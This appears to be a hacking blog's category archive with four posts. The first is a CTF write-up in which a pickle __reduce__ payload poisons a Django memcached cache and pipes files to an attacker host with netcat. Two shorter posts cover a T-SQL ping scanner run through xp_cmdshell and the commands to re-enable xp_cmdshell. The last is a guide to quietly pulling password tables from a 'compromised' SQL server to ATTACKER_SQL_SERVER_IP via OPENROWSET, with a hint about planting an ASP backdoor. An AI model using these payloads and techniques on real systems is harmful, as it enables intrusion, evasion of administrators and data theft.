Category Archives: Hacking

PlaidCTF’s Django Challenge Writeup (Web 300)

This weekend I (abs|Zer0|) participated in the PlaidCTF organized by PPP. That was an awesome experience. Our team solved 3 out of 4 web challenges and I spent most of my time on the web challenge #16 which was related to Django.

In my opinion,this challenge was more about Memcached and the way Python’s pickle library serializes objects than about Django itself.
Since the challenge had been up for 4-5 hours without any team able to solve it, the organizer decided to give a hint which is the content of “settings.py”. At first I found nothing special with the file, it was just like a normal Django web configuration file. But when I took a closer look at it again, I found the website was using Memcached as a way to serve their website faster.

Note: For those of you who don’t know what memcached is : memcached is a distributed memory object caching system. That means you can store your object by making a call to memcached server and retrieve it back when you need it. Big websites like Facebook, Youtube and Twitter use memcached to store result sets of SQL queries in objects and pass them to memcached.

Within given amount of expiring time, their systems can connect to memcache and retrieve the SQL result sets without the need to make calls to SQL databases again. This results in a dramatic increase in performance; since the most common bottleneck of big web applications lies in SQL databases (Imagine JOINing two tables with millions of records).

Let’s take a look at the quick and easy-to-understand example from the memcached official website:
function get_foo(foo_id)
foo = memcached_get("foo:" . foo_id)
return foo if defined foo

foo = fetch_foo_from_database(foo_id)
memcached_set("foo:" . foo_id, foo)
return foo
end

So you can see, using Memcached is very simple: set(key, my_object) to store my_object in memcached server and get(key) to get back your object. Simply put, memcached is a hash table no more no less.
By default, to enhance speed, memcached does NOT support authentication; since it’s supposed to be run in the DMZ zone, not internet facing zone.

Back to the challenge, I saw they had a memcached server running at port 11211.
So I tried my luck :

abszero:/home/abszero$ nc -vv a12.amalgamated.biz 11211
Connection to a12.amalgamated.biz 11211 port [tcp/*] succeeded!

Cool! It’s open!

Now, obviously we can communicate with the memcached server through telnet, but it’s not realistic and inefficient. So I downloaded pylibmc library, which is the library Django uses to communicate with memcached server.
I tested the library by saving an object to memcached server:

>>> import pylibmc
... mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
... mc.behaviors = {"tcp_nodelay": True, "ketama": True}
... mc.set("abszer0", "the lowest possible temperature")  #save to key "abszer0"
... #now get it back
... print mc.get("abszer0")
the lowest possible temperature
0: True

Ok! So everything worked well.
Next, I want to see if django saved anything useful in the memcached server; but unfortunately according to official memcached documentation, they don’t provide any functions to enumrate all keys/values are currently being stored in memcached.

Hmm, it took me some time to find a special trick to dump all keys  . And even better, Daniel Rust has made a python library called memcached_stats for feature and put it on github . 🙂

I played with the library

>>> from memcached_stats import MemcachedStats
... mem = MemcachedStats('a12.amalgamated.biz','11211')
... print mem.keys()
[':1:views.decorators.cache.cache_header..2edc97fe4182046731384adbe3ff08e7.en-us', ':1:views.decorators.cache.cache_header..baff7b2337a5058f907713a57ac78a26.en-us', ':1:views.decorators.cache.cache_page..GET.2edc97fe4182046731384adbe3ff08e7.d41d8cd98f00b204e9800998ecf8427e.en-us', ':1:views.decorators.cache.cache_page..GET.a1b21330e9b6789a244daa41de1e155e.d41d8cd98f00b204e9800998ecf8427e.en-us', ':1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us', 'abszer0']

wow! So I could see all keys that were current being stored in memcached server (heck, it even included my key “abszer0“)

So why don’t I iterate through all keys and see what values do they hold?

>>> def enumerate_keys():
...   from memcached_stats import MemcachedStats
...   import pylibmc
...   mem = MemcachedStats('a12.amalgamated.biz','11211')
...   mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
...   mc.behaviors = {"tcp_nodelay": True, "ketama": True}
...
...   for i in mem.keys():
...         print "+ key:",i
...         print mc.get(i)
>>> enumerate_keys()
+ key: :1:views.decorators.cache.cache_header..baff7b2337a5058f907713a57ac78a26.en-us
[]
+key: :1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us
Last-Modified: Mon, 25 Apr 2011 03:45:42 GMT
Expires: Mon, 25 Apr 2011 03:55:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=600
... HTML content of the homepage
...

+key: abszer0
the lowest possible temperature

Hah! So the html content of the challenge was stored under the key “:1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us”
Let’s check what type of that key is:

>>> response = mc.get(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us")
1:

So HttpResponse object was stored here. Django used this cached object to output the html content to user to avoid making requests to the SQLite db (of course, if the object had not been expired). By now, I could deface the website just by editing this HttpResponse object with my html content and saving it to this particular key, then Django would blindly output to users. 🙂

>> response._container = "==AbsZer0=="
>> mc.set(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us", response)
3: True

Succeeded!! That was fun, but I needed the key to score points nonetheless.
So I needed to figure out how to advantage of this to exploit the system.

I spent some time to read Django documentation and read its code to understand how it works internally. I realized I could craft a HttpResponse object that has a malicious __str__() function then save it to memcached, and the BaseHandler would call it to render the page.
I created a function that reads ‘/etc/passwd’ and save it to the key called “justwannatestsomething

>>> def malicious():
...         secret = "justwannatestsomething"
...         from memcached_stats import MemcachedStats
...
...         import memcache
...         __mem = MemcachedStats('a12.amalgamated.biz','11211')
...         __mc = memcache.Client(['a12.amalgamated.biz:11211'], debug=1)
...
...         __mc.set(secret, open('/etc/passwd').read()) #payload to read /etc/passwd
...
...         return 'Internal Server Error..' #to make django happy
>>> response.render = malicious #assign it to render function
>>> mc.set(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us", response)
4: True

Unfortunately, even though I had tried this method many times, mc.get(“justwannatestsomething”) never showed up with the content of ‘/etc/passwd’. T_T Something was wrong because I didn’t understand fully how Django works.

After that, I rested for a while and come back to see if there was still a way to exploit memcached. A while later, I realized there’s a surer way to run my payload: pylibmc used python Pickle to serialize/deserialize objects. So if I saved an object to memcached, on the other side (the ctf server), django would use pickle to deserialize that object and treat it like a normal one.
But, there’s a big BUT in here, I could use pickle to modify Existing object data, but how can I create a New CLASS of object and use that to run system commands? Remember python Pickle lib only works on objects not on python’s normal statements like :

import pickle
pickle.loads("os.system('cat /etc/passwd')") ##Failed!!

I was banging my head for a while and read carefully official pickle documentation.
Finally, I found out I could define a class that has __reduce__() function to let me do the trick I wanted with pickle. The following class told their CTF server to list all files in current directory and send it to my servers at MY_SERVER_IP (sorry can’t show it here).

>>> class havesomefun(object):
...   def __reduce__(self):
...     import subprocess
...     return (subprocess.Popen, (('/bin/sh','-c','ls ./ | nc MY_SERVER_IP 5555'),))

I also defined a function that set all django cache keys to the object I wanted in one call:

>>> def setter(payload):
...   from memcached_stats import MemcachedStats
...   import pylibmc
...   mem = MemcachedStats('a12.amalgamated.biz','11211')
...   mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
...   mc.behaviors = {"tcp_nodelay": True, "ketama": True}
...   for i in mem.keys():
...       print i
...       if i.startswith(":1:views.decorators.cache.cache_page"):
...         print mc.set(i, payload)

>>>setter(havesomefun())
True

Ok , on my server I ran to wait for the connection:
zer0@li18:~$ nc -vv -l 5555

Then, I opened the django webpage to force it getting the cache object that injected with my payload. I was holding my breath to see the netcat status on my server.
And, it WORKED!!!!!!!

zer0@li18:~$ nc -vv -l 5555
Connection from 128.237.157.90 port 5555 [tcp/*] accepted
chal
chal.db
db
index.html

Wow it listed all the files in current directory and sent it to my server.
I crafted a new havesomefun() object to read what inside the “chal/” directory and forced django to reload from memcached again:

Connection from 128.237.157.90 port 5555 [tcp/*] accepted
KEY
__init__.py
__init__.pyc
chal.wsgi
example
manage.py
settings.py
settings.pyc
templates
urls.py
urls.pyc

Haha! So KEY’s here. Let’s do the last step to read its content:

>>> class havesomefun(object):
...   def __reduce__(self):
...     import subprocess
...     return (subprocess.Popen, (('/bin/sh','-c','cat /home/pctf-chal/chal/KEY | nc MY_SERVER_IP 5555'),))
>>>setter(havesomefun())
True

Then I looked back to my server, here’s what I saw:
zer0@li18:~$ nc -vv -l 5555
Connection from 128.237.157.90 port 5555 [tcp/*] accepted
You found a key: WHY_IS_THIS_SO_EASY

I solved it! Finally!! Yay!
=========

This was a long reading, thanks for reading this til the very end. Actually, during the ctf everything was not as smooth as described in here: a lot trials and errors and some unforseeable small problems need to tackle as well. But overall this one was really nice & creative challenge by PPP. Good work PPP!! 🙂

PS: I wrote this in a hurry and haven’t got time to proofread. I apologize for any inconvenience it may cause.

Advertisements

7 Comments

Filed under Hacking

PingScanner using T-SQL in SQL Server

I coded a small stored procedure to detect which host are in the same Local Network with the SQL Server for further access. It’s kinda convenient since you don’t need any external scanner for this job. Only Transact-SQL is enough.
Note:
+ You’ll need permission to execute xp_cmdshell to use this stored procedure.
+ Change timeout setting in your SQL query executor script to a higher value(for ex timeout=3600) since scanning takes a while.

Running Procedure

Running Query

Result: Hosts online in the SQLServer's Local Network

Result: Hosts online in the SQLServer's Local Network

-----------------------------------------------
--Ping Scanner using T-SQL (C) Duong Thanh ( knightvn AT gmail.com)
--Detect which host are online on LAN by pinging from SQL Server
--Usage: EXEC spPingScan '192.168.1.0-254'
-------------------------------------------------
CREATE PROCEDURE spPingScan @ip_range varchar(200)
AS
BEGIN
	DECLARE @stpos int, @i int, @ip_start varchar(200), @start int
			,@head varchar(200),  @pos_dash int, @end int
	
	SET @ip_range = LTRIM(RTRIM(@ip_range))	    
	--ex: @ip_range = '192.168.1.1-10'	 
	SET @pos_dash = CHARINDEX('-', @ip_range) -- dash position
	SET @end = SUBSTRING(@ip_range, @pos_dash + 1, LEN(@ip_range) - @pos_dash) -- 233
	SET @ip_start = SUBSTRING (@ip_range, 1, LEN(@ip_range) - LEN(@end) - 1) -- 192.168.101.20

	SET @stpos = 1

	-- Get final . index 
	SET @i = 1

	WHILE @i < 4
	BEGIN 
		SET @stpos= CHARINDEX('.', @ip_start, @stpos+1)
		SET @i = @i + 1   
	END 


	SET @start = CAST(SUBSTRING(@ip_start, @stpos+1, LEN(@ip_start) - @stpos) AS int) -- 10
	SET @head = SUBSTRING(@ip_start, 1, LEN(@ip_start) - LEN(@start)) -- 192.168.1.


    --tmp tables 
	CREATE TABLE #tmpPingResult
	(  &#91;ID&#93; int identity NOT NULL, &#91;content&#93; varchar(400) NULL )


	CREATE TABLE #tmpHostsUp 
	( &#91;ID&#93; int identity NOT NULL, &#91;Host&#93; varchar(50) NULL)


	DECLARE @j int, @cmd varchar(200), @host varchar(50)
	SET @cmd = ''
	SET @j = @start 

	 
	WHILE (@j <= @end)
	BEGIN
		 SET @host = @head + LTRIM(RTRIM(CAST(@j as varchar(3))))
		 SET @cmd = 'ping -n 1 ' + @host
		 INSERT INTO #tmpPingResult EXEC master..xp_cmdshell @cmd
	     
		 IF( (SELECT COUNT(*) FROM #tmpPingResult) > 8 ) 
		   BEGIN
			  INSERT INTO #tmpHostsUp VALUES (@host) --insert into host table if find a host up 
		   END
	       
		 TRUNCATE TABLE #tmpPingResult
		 SET @j = @j + 1
	END
	
  --return
  SELECT * FROM #tmpHostsUp

END

Leave a comment

Filed under Hacking

Enable xp_cmdshell in SQL Server 2005

SQL  Server 2005 or later, for security purpose, following procedures are disabled by default:

  • xp_cmdshell : allows executing shell commands
  • sp_oacreate : creates an instance of an OLE object.
  • sp_makewebtask: creates output file

With sysadmin’s right, you can resurrect them:

Enable xp_cmdshell:

Exec sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Enable sp_oacreate:

Exec sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;

Enable sp_makewebtask:

Exec sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'Web Assistant Procedures',1;
RECONFIGURE;

Leave a comment

Filed under Hacking

Retrieving data from compromised SQL server

Sometimes,  I find myself in need of pulling data from a compromised SQL server.

Usually, the database is too big to be downloaded without being detected by system administrators (> 100GB ).

In that case, I just want to get some particular tables of the database.

So here’s how it works:

1/ Set up a SQL server on my local computer.

2/  Because SQL Server 2005 and later disables openrowset in default configuration, so we need to enable SQL server openrowset feature by issuing these commands :

--enable openrowset
exec sp_configure 'show advanced options', 1;
reconfigure;

GO 

exec sp_configure 'Ad Hoc Distributed Queries', 1;
reconfigure;

3/ In order to get data from a particular table of  the compromised SQL Server by using openrowset. Your local SQL server should have the same table structure(column, data type) with the remote table.

Hence, we need a way to copy remote table ‘s structure ( btw, you can do it by hand if you wish but it’s time consuming) .  Here I use a stored procedure to automatically generate CREATE TABLE query.

--This procedure will generate creating script for a particular table

Create Procedure GenerateScript (
@tableName varchar(100))
as
If exists (Select * from Information_Schema.COLUMNS where Table_Name= @tableName)
Begin
declare @sql varchar(8000)
declare @table varchar(100)
declare @cols table (datatype varchar(50))
insert into @cols values('bit')
insert into @cols values('binary')
insert into @cols values('bigint')
insert into @cols values('int')
insert into @cols values('float')
insert into @cols values('datetime')
insert into @cols values('text')
insert into @cols values('image')
insert into @cols values('uniqueidentifier')
insert into @cols values('smalldatetime')
insert into @cols values('tinyint')
insert into @cols values('smallint')
insert into @cols values('sql_variant')          

set @sql=''
Select @sql=@sql+
case when charindex('(',@sql,1)<=0 then '(' else '' end +Column_Name + ' ' +Data_Type +
case when Data_Type in (Select datatype from @cols) then '' else  '(' end+
case when data_type in ('real','money','decimal','numeric')  then cast(isnull(numeric_precision,'') as varchar)+','+
case when data_type in ('real','money','decimal','numeric') then cast(isnull(Numeric_Scale,'') as varchar) end
when data_type in ('char','nvarchar','varchar','nchar') then cast(isnull(Character_Maximum_Length,'') as varchar)       else '' end+
case when Data_Type in (Select datatype from @cols)then '' else  ')' end+
case when Is_Nullable='No' then ' Not null,' else ' null,' end
from Information_Schema.COLUMNS where Table_Name=@tableName            

select  @table=  'Create table ' + table_Name from Information_Schema.COLUMNS where table_Name=@tableName
select @sql=@table + substring(@sql,1,len(@sql)-1) +' )'
select @sql  as DDL         

End           

Else        

Select 'The table '+@tableName + ' does not exist'    

&#91;/sourcecode&#93;

4/ Now, using above procedure, I'm having a empty-table which has the same structure with the remote table we want to pull data from. Final step is using <em>openrowset </em> to insert data from remote SQL server to our local SQL server.

Below command executed at the compromised server,  it uses <em>openrowset </em>to connect to my local SQL server( using default listening port 1443) , get an empty data set from my SQL server, then insert result of query " SELECT password from PasswordTable "  to my local dataset:


--insert compromised SQL server table's content into our local SQL Server's table

INSERT INTO 

OPENROWSET( 'SQLoledb',
'uid=[YOUR_LOCAL_SQL_USER]; pwd=[LOCAL_SQL_PWD];Network=DBMSSOCN;Address=[ATTACKER_SQL_SERVER_IP],1443;',
'select password from LOCAL.dbo.PasswordTable'
)

SELECT password FROM PasswordTable

You can always use openrowset to put data in the opposite way, that is, from your local SQL server to remote SQL server.
For example, you could insert a ASP backdoor’s source code to remote SQL server by using openrowset then write it out to the remote filesystem 😉 )
Hope you find this post helpful! Please share if you know a different method.

PS:  In each post, I’ll include links to materials which help you somewhat  better understanding of what I have described.  Cheers!

Further reference:

1 Comment

Filed under Hacking